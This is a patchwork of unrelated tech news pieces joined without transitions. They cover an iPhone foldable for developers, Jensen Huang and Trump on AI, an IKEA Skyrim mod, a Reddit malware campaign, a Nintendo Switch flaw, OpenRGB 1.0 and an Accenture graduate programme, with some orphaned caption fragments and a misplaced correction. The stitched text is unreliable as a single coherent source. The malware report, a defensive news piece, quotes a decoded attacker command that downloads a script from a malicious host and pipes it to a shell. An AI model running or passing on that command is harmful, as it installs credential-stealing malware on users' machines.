devops

Cupertino’s $2,000 foldable gives devs more screen, and more UI state to manage

The October 23 ship date of Apple’s iPhone Duo grows nigh, so developers wanting to optimize their iPhone apps for the foldable will need to get to grips with its new display behaviors and form factor.

 “A fold is a UI event with backend consequences,” Atharva Deosthale, Appwrite developer advocate, wrote in an introductory blog post. “Folding and unfolding is part of normal device use, so apps need to preserve state and respond cleanly when the display changes.”

The iPhone Duo, which Apple introduced last week, is a smartphone with two screens: a squat 5.4-inch (diagonal) outer display on top of the case and the larger 7.6-inch inner display within. The display’s contents automatically (and stylishly) move to the visible screen when the device is opened or snapped shut. 

Apple has published a repository of technical documentation to help devs prepare for the new form factor. Time to study up. 

An ever-shifting canvas

The foldable fondleslab will run iOS 27.1, and will run unaltered iPhone apps, but in the same way regular iPhone apps run on the iPad: awkwardly. 

Devs need to learn some new moves to style their apps to truly make Apple’s mobile device look good. 

The foldable form factor means that the user may start work on an app on the top screen, and when the device opens, the app should appear seamlessly on the larger display (the display ratio remains the same across both screens).  

The phone doesn’t have to lie flat for the inner screen to be fully used; it can also fold into a “tabletop posture,” where half the screen is flat and the other half sits upright, like a little laptop.  

Or it could be fashioned into a partially opened “book posture,” with the fold running vertically. Maybe for privacy? Who knows what other ways people, with their endless ingenuity, will interact with these gadgets. 

Both screens have a 120 Hz adaptive refresh rate, thanks to Apple’s ProMotion technology. So any transitions within the app, and resizing of the app itself, need to be almost Walt Disney animation-level smooth – while maintaining state.

The device can accommodate two apps simultaneously running on the screen, through “Split View,” so apps will also have to learn to share the screen nicely. 

To address this new topology, Apple is updating its Xcode IDE; the 27.1 beta will be available later this month. 

The backend will need some love too

The iPhone Duo screen is a different world for a number of reasons. Size is no longer a value, but a dynamic range, Deosthale noted. An app’s available size needs to be read at layout time and adjusted through the app’s lifetime as its screen allocation changes.  

Some apps will work better in this environment than others, Deosthale noted.  Apps with fixed layouts and hardcoded dimensions, or that use view controllers that reload on size change, can appear stretchy. “Those need work,” he wrote.

Compared with the iPhone Pro Max, the Duo offers a bit more space, with a 7.6-inch inner display versus 6.9 inches. It’s wide enough that a single column stretching across the entire display won’t impress anyone. Now’s the chance to add in a detail pane or sidebar, side-by-side presenter and viewer modes, Deosthale suggested. 

And don’t let the app just disappear features, data or other miscellanea when the user switches screens. That will just come off as cheesy. Snapping the unit shut mid-task means the app needs to preserve its state, along with the user’s session identity, as the interface moves to the outer display.

Try not to move components around too much when the display switches, leaving the user seeking some option anew. In the technical docs, Apple calls this keeping a “consistent experience.”

Contrary to the traditional iPhone layout, some of the device’s system controls have moved from the bottom toward the side of the display, which, in landscape mode, is a sensible change that leaves more, albeit asymmetrical, vertical space. However, it is up to developers to ensure their apps aren’t covered by system controls.

While this may not directly relate to the form factor itself, the device runs an A20 Pro system-on-a-chip, built at 2-nanometer scale, with a 6-core CPU, a 7-core GPU wired for matrix math, and a dual 16-core neural engine for ML work. All this horsepower means you can run local ML inference on the device itself. 

Perhaps add a button to destroy humanity? It’d be the perfect antidote for a rough day at work.

If Apple developers have any questions about working with foldable displays, they can ask their Android brethren who have been wrangling foldables for almost a decade now.®

Correction: An earlier version of this piece identified the phone Jensen Huang used to take President Trump’s call as Apple’s iPhone Duo. That was incorrect — the device appears to be a Samsung Galaxy Fold 8. The piece has been updated to remove references to the iPhone Duo and the conclusions that were based on that error.

Jensen Huang made headlines Monday at the All-In conference in L.A. when President Trump called him, live, on stage. But there was something else worth noting about his appearance. Huang, dressed in his now-signature alligator leather jacket, was handed a foldable phone to answer it.

Once he got Trump on speaker, the conversation turned to AI safety, and the two seemed to agree that mounting fears about AI equate to what Trump called a “hoax.” Trump argued that the real winners of the AI panic are China and “political people,” and that the technology is too big — “bigger than the internet,” he said — to slow down over. (“Did you hear that? Thousands of people are clapping,” said Huang to Trump during this same exchange.)

Whether Huang truly shares that same view or isn’t in a position to say otherwise, we’ll never know. Nvidia’s business model depends largely on AI labs buying more chips, so downplaying existential risk is the only move if he cares about his company’s share price. (It’s still up 33% for the past year but fell a few percentage points today.)

Swedish furniture giant IKEA paid Kinggath Creations to build a free official Creation for The Elder Scrolls V: Skyrim, and the finished work arrived on Bethesda’s Creations menu on September 9 for PC and Xbox. Players who pick it up get a new companion named Kallax Storageborn, a walking cube of shelves modeled on IKEA’s familiar Kallax bookcase, voiced in full by Matt Berry.

Inventory weight is what finally gets the assistance to show up and send you in the direction of Storereach, a long-abandoned Dwemer emporium. At first, it’s just a cave, but it quickly transforms into a two-story self-service shop, complete with shopping trolleys rattling around, mannequins dressed in ghostly gowns, and a faintly (yet annoying) music playing in the background. Inside, you’ll find an ancient assembly manual written in the normal IKEA style, a staff that resembles an Allen key, and a mystery soul-stone. You then have to search for three missing panels with the assistance of a small army of Dwemer spiders, stick them in place, fire the staff, and before you know it, the creature awakens and begins talking to you.

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Berry’s voice does most of the heavy lifting after that. Kallax comments on locations, follows you through grass and stone with the low scrape of furniture being dragged, and carries an unlimited pile of loot that actually sits on its shelves in the world. You can also summon Kallax by shouting out a new Thu’um, “AYE-KEY-YAH,” even if it is not your active buddy. Later in the game, you begin to receive a few more tasks, one of which takes you off in search of a lost writer and his helper, then into an extremely old Nordic ruin that’s so clogged with rubbish that Kallax has to go and clear it out to open up the blocked passageways. The last task involves a Clutter Golem.

New gear simply keeps the joke running without slowing you down too much. You can take out the Allenblade, a massive hex key, and Kallax even totes the Meatball Helmet. People who have reached the conclusion of the Creation report finding a spell called Billy bookshelf that releases Swedish meatballs, as well as a Shield of the Returns Policy hanging in the shop. None of it attempts to pass itself off as legitimate game lore. So when you find a skeleton in the bathroom with a hastily scrawled note reading “died lost in the aisles,” it’s just a hilarious little inside joke rather than a major story aspect.

Kinggath went all out on this one, treating it like a true dungeon pack rather than a generic advertisement, thus chambers feature secret rooms and stuff that matter even at low levels. The final chamber? Several players praised it as unexpectedly grand. You can still finish the civil war, yell at dragons, and smash some mudcrabs later. Kallax simply tags along, eliminating the need to discard iron helmets in a river. The creation is free, by the way; simply go to the in-game Creations menu or browse the creations.bethesda.net website.
[Source]

Hackers compromised HBO Max’s official Reddit account and used it to push malicious ads that launched ClickFix attacks to infect Windows and macOS devices with information-stealing malware.

Security researchers at Hudson Rock and ADAMnetworks analyzed the campaign and say the verified u/hbomax Reddit account was hijacked and used to launch 108 malicious advertisements over about 48 hours.

The ads used a social engineering technique known as ClickFix, which tricks users into copying and pasting malicious commands into Windows Run, PowerShell, or macOS Terminal while pretending to fix an error, verify a CAPTCHA, or install legitimate software.

The type of attack has become increasingly popular among cybercriminals because victims run the malicious commands themselves using legitimate operating system tools, potentially bypassing some browser and security software designed to detect malware downloads.

While some of the advertisements pushed by the HBO Max account impersonated the streaming service, others promoted fake AI tools, developer software, and macOS utilities.

Hudson Rock and ADAMnetworks have linked the attack to a larger campaign they call PasteSwitch, which targets both Windows and macOS systems and has been used to distribute information stealers, loaders, cryptocurrency clippers, and fake cryptocurrency wallet applications.

The researchers say PasteSwitch refers to the operation’s use of attacker-supplied commands that victims paste into their systems, while the attackers’ backend switches between campaigns, platforms, payloads, and crypto theft methods depending on the visitor.

BleepingComputer contacted HBO and Warner Bros. Discovery with questions about the incident but has not received a response.

Fake HBO Max app delivers malware

The campaign was initially discovered after a Reddit user spotted an advertisement posted from the verified HBO Max account promoting what appeared to be a native HBO Max application for macOS.

“I was browsing Reddit and saw an ad displaying u/hbomax as the author – this advertised a macOS HBO Max app which I’d not heard of and was interested in. The user is verified and appears to have posted many times in the official HBO Max subreddits,” warned the user.

“The advert takes you to hbomaxx[.]us which looks somewhat legitimate, and has a join button / download. Clicking these opens up the classic infostealer/clickfix paste this command to download. Having checked, this downloads an executable with other capabilities for account compromise (obviously all done in a full sandbox – inspecting the output only, not running anything).”

After clicking the advertisement, users were redirected to a convincing fake HBO Max website that claimed to offer the application for download.

One of the fake HBO Max sites used in the campaign was hbomaxx[.]us. However, clicking the download button did not download an app, but instead displayed instructions telling visitors to open Terminal and paste a command to install the software.

One of the macOS commands BleepingComputer saw in this attack used Base64 encoding to obscure the command it executed. Once decoded, it contained the following command:

export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh

Hudson Rock noted ember-bridge[.]com as infrastructure used in September for malware delivery in the PasteSwitch operation.

One malware family used in this attack is MacSync, which Hudson Rock says steals browser credentials, Firefox profiles, Telegram data, Apple Notes, and macOS passwords.

Another attack chain deployed “AMOS helper,” which establishes persistence using a directory named .com.apple.accountsd. The malware can then enroll infected systems with attacker-controlled servers to receive additional tasks.

The campaign has also distributed fake Ledger, Trezor Suite, and Exodus cryptocurrency wallet applications designed to steal victims’ wallet recovery phrases.

On Windows systems, PasteSwitch has been observed displaying instructions that cause victims to execute commands using mshta and PowerShell.

Hudson Rock says one Windows attack chain used an MP3/HTA polyglot to create a scheduled task, launch 32-bit PowerShell, disable Microsoft’s Antimalware Scan Interface (AMSI), and generate victim-specific infrastructure based on the computer name and username.

Later stages used obfuscated PowerShell and shellcode to load the Amatera Stealer directly into memory without first saving the final payload to disk.

PasteSwitch has also been seen pushing cryptocurrency clipboard hijacking malware, including AnimateClipper and ZigClipper.

The researchers say the HBO Max advertisement was part of a much larger advertising campaign run through the compromised Reddit account.

The researchers identified 40 ads pointing to hbomaxx[.]app, 36 promoting the fake AI and developer site codex-craft[.]com, 15 promoting apple.clean-disk-guide[.]com, 11 pointing to code-desktop[.]com, and six promoting hbomax-macos[.]com.

This allowed the attackers to target a larger audience than just HBO Max users, including developers and users searching for AI software and system utilities.

After the malicious advertisements were reported, a Reddit admin paused them and reported them to Reddit’s Security and Safety teams.

It remains unclear how the attackers accessed the HBO Max Reddit account or whether any other HBO or Warner Bros. Discovery accounts or systems were affected.

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

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The feature turns off the display entirely.

Setting up driving detection on your Meta Display glasses

Tada Images/Shutterstock

Meta glasses were not designed for driving navigation

Meta

This story appeared in The Logoff, a daily newsletter that helps you stay informed about the Trump administration without letting political news take over your life. Subscribe here.

Welcome to The Logoff: Everyone but President Donald Trump is freaking out about artificial intelligence.

What’s happening? As policymakers and tech CEOs discuss how to put guardrails on AI development, Trump is on a posting spree.

“The only control or ‘guardrails’ that AI needs is a STRONG AND SMART (High IQ!) PRESIDENT, and the U.S.A. has that, in spades,” he wrote in a Monday morning post. “There is a SICK conspiracy going on against AI and Data Centers, and the only one that is happy about it is China. WHOEVER WINS AI, WINS!”

In a later post, he also claimed that “AI taking over the World, destroying Humanity, and all other things bad, is a HOAX.”

Why is Trump weighing in on this now? Last week, the conversation around superpowerful AI — powerful enough that some researchers warn it could wipe out all of humanity — broke through after Jacob Coxon, an employee at the AI company Anthropic, announced his resignation, citing concerns that AI giants were “gambling with our lives” in a race toward “self-improving superintelligence.”

Since then, lawmakers from both parties, as well as the leaders of top AI companies, have started talking more seriously about slowing down AI development.

Why does he care? It’s not totally clear why Trump is choosing to go to the mat on this issue, but US-China competition is part of it, as is the economy: He’s repeatedly evoked the need to preserve the “golden goose” to explain his support for AI and data centers.

What’s the big picture? Opposition to AI and data centers has become a rare area of bipartisan agreement. As my colleague Dylan Scott reported last month, according to one poll, about 75 percent of Americans strongly oppose the construction of AI data centers near where they live. Politicians from both parties are responding accordingly and racing to voice their opposition.

But Congress isn’t likely to move anytime soon, which means the quickest path to AI regulation runs through the executive branch — and Trump is proclaiming himself gleefully uninterested in taking action.

And with that, it’s time to log off…

It may only be mid-September, but my colleague Allie Volpe recommends you get a jump on your holiday plans now (especially Thanksgiving). You can read her case for planning ahead here, with a gift link.

Have a great evening, and we’ll see you tomorrow!

Owners of the original Nintendo Switch should patch a security exploit immediately, especially if they game in public. Nintendo announced the vulnerability (PDF) on Sept. 10, shortly after releasing its latest 23.0.0 firmware update.

The exploit applies only to original Nintendo Switch owners using the Send to Smartphone feature. This feature generates a QR code on the Switch that you can scan with a smartphone, letting you transfer game captures and screenshots directly to your phone. 

It also affects people playing Super Mario Kart: Home Circuit on the physical cartridge, as the game uses a QR code to establish a wireless link with nearby players. 

Should someone else scan the QR code before you, they can connect their device to your Switch and use the connection to run unauthorized code on your Switch or steal information stored on the game console. Since your account information is stored on your Switch, that’s information you don’t want in the hands of someone else. 

A Nintendo representative did not immediately respond to a request for further comment.

The exploit does not affect the Nintendo Switch 2. 

How to fix the problem

The fix is pretty simple. Nintendo released update 23.0.0 on Sept. 9, which fixes the exploit. It’s recorded as CVE-2026-82079, which is “a stock-based buffer overflow vulnerability” that lets attackers within wireless range execute code. It only affects the original Switch on firmware versions older than 23.0.0.

To update your Nintendo Switch, head to System Settings > System > System Update to apply the update. Follow any additional on-screen prompts to install the update. 

Nintendo says that those who can’t immediately update their firmware can avoid the issue by only using the Send to Smartphone feature at home, where attackers can’t see them, or by not playing Super Mario Kart: Home Circuit in public. The gaming giant also recommends not scanning any QR codes with any device that isn’t yours. 

People who only play games at home are protected from this exploit and don’t have to worry about it.

Joe is a freelance journalist. It all started with a long-running affection for building his own PCs, which he did for the first time as a teenager. It evolved into a lifelong enjoyment of putting words on the internet about the subject. He’s written for CNET, PCMag, Mashable and SlashGear as a freelance writer, and worked as a Senior Editor at Android Authority for 10 years. When he’s not writing about tech and science, he’s learning the ins and outs of DIY home repair, gaming, playing his bass guitars and posting help on PC building and gaming subreddits. He is a staunch believer that orange juice should have pulp.

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Anyone who has dealt with gaming peripherals knows the RGB software struggle is real. Every brand wants you to install its own app, and most of these run quietly in the background, eating up resources just to keep your lights synced. OpenRGB has been trying to fix this mess for years, and the project just hit a big milestone with the release of version 1.0.

What’s new in OpenRGB 1.0?

The final 1.0 build lands after several release candidates got put through their paces, adding compatibility for a much wider range of hardware. As reported by TechPowerUp, You’ll find support for QMK and VialRGB now, plus Keychron’s own take on those protocols, along with more Gigabyte and MSI boards and laptops, Clevo’s laptop keyboards and light bars, and a wider spread of GPUs, including PNY’s Epic-X ARGB and PowerColor cards.

Corsair’s DRAM controllers see improvements too, and if you’re still rocking an aging Intel X299 board, its RGB memory controllers are now in the mix as well. The biggest addition, though, is compatibility with Logitech’s HID++ 2.0 controllers. This sets things up nicely for a lot more Logitech gear to get onboard in future updates.

It’s taken almost three years since version 0.9 to get here, with the last twelve months alone going into reworking the app’s core. Beyond the hardware additions, this version reworks how profiles function, lets the app quietly sit in the background instead of needing a window open, and switches the whole interface over to Qt6.

What do you need to do before installing it?

If you’re on Windows, PawnIO is a must-have download. Without it, OpenRGB won’t be able to reach your RAM, older motherboards, and a handful of other devices. Make sure you launch the app as Administrator, or set it up with the background service option, otherwise PawnIO won’t have the access it needs.

Running Linux and grabbing the .deb or .rpm build? You’ll need to separately install hidapi-hotplug, a modified version of hidapi that these packages now rely on. Distro maintainers should also take note that Qt5 support is gone, so any OpenRGB 1.0 packages need to be built against Qt6 instead.

If your desk setup has ever looked like a mismatched rainbow because of five different RGB apps, OpenRGB 1.0 might finally be worth the switch.

Accenture’s Barry O’Keeffe, Laoise Macken and Stephen Crothers discuss what graduates can expect from a career that starts with a development programme.

Graduate programmes are an ideal way for students and recent graduates to develop their skills, a network and also make plans for their futures. 

Taking the chance to come into a company at an early stage of one’s career and experience a range of departments, roles and responsibilities can expose new professionals to career routes they perhaps hadn’t considered. It can also cement in their minds the areas that they want to give particular focus to. 

Moreover, it can create a welcoming environment that prioritises easing new employees in, so that the experience, while focused on learning, upskilling and career growth, is not overwhelming. 

Speaking to SiliconRepublic.com, Barry O’Keeffe, a business and technology integration analyst at Accenture, explained that part of his role at the organisation involves working as an AI engineer for a large client. 

He said, “We’re building out a data warehouse to monitor operational metrics for trust and safety data – so content moderation. My priority at the moment is developing an agentic system, which automatically handles incoming bugs raised within the warehouse.”

The socialisation and camaraderie that can grow within the Accenture graduate programme is, for O’Keeffe, among its greatest characteristics. 

“One of my favourite parts of Accenture is that when you join in your first week, you’re assigned a buddy, who’s a current graduate, and a people lead, who’s at manager level,” he said. 

“The buddy you can go to during your first few weeks in your first year with all of the questions that you will have. The people lead is there to help with your career progression. So, any guidance that you need throughout your time at Accenture.”

The same experience is true for management consulting analyst Laoise Macken, who said, “I now live with two people from my start group back in September and that’s not an uncommon thing that you hear from the analysts in Accenture. People get really close really quick.”

Growing the skills and the professional

According to senior manager and delivery lead Stephen Crothers, this level of guidance is key to building up a graduate so that they have the skills needed for a long and successful career. 

“I think guidance and mentorship is huge in our graduate programme, but I equally think that’s really important throughout any kind of career,” he said.  

“I’ve been in Accenture for nearly nine years now and I would say that every different point in my career, whether it be a big milestone or a promotion, can always be attributed down to one of the many mentors that I’ve had throughout that stage of my career.”

Of the qualities he would expect in a professional thinking of joining the graduate programme, he said: “The things that we look for are both on the skills and the behaviour side. However, skills can be taught – behaviours can’t. 

“Some of the key pieces that I look for whenever I’m doing my interviews are that curiosity. Another thing is around proactivity. We want someone that’s proactive, that doesn’t need to be given a kind of a defined roadmap of tasks to do, but to have that self-starter mentality.”

Macken added, “A skill that I’ve found useful in my role here at Accenture is being adaptable. Things move really quickly here, and our clients are at the forefront of AI and leaders in their industry, which means that priorities can change quickly, and you need to be comfortable diving headfirst into the work around you. 

“So I think that people that are open-minded, hardworking and adaptable really thrive here. What surprised me most about the graduate programme is how strong the analyst community is.”

Who is it for?

Macken added: “Another skill that I’ve found really useful in my experience at Accenture has been communication. The teams that we work on are very cross-functional and range across a very wide level of seniority.”

As a result, she finds that she is able to communicate confidently while also maintaining who she is as an individual and developing genuine relationships. 

She advised anyone considering a role as a graduate to have a ‘sponge-like’ mentality to soak up new skills and advice. 

“The people around you are absolute experts in their field and have such depth of industry knowledge that there’s not a single person that you’ll meet here that won’t be able to teach you something at all levels – analyst or MD. So yeah, forging genuine connections with people and asking questions and really trying to absorb as much as you can.”

Be prepared for any interview, said Crothers, “then do more preparation” to really think about the questions you will be asked, the kind of answers you will give and how you express yourself. 

“That’s what helps you build out, I suppose, that skillset to take you to a place where, again, it would be unrealistic to not succeed.”

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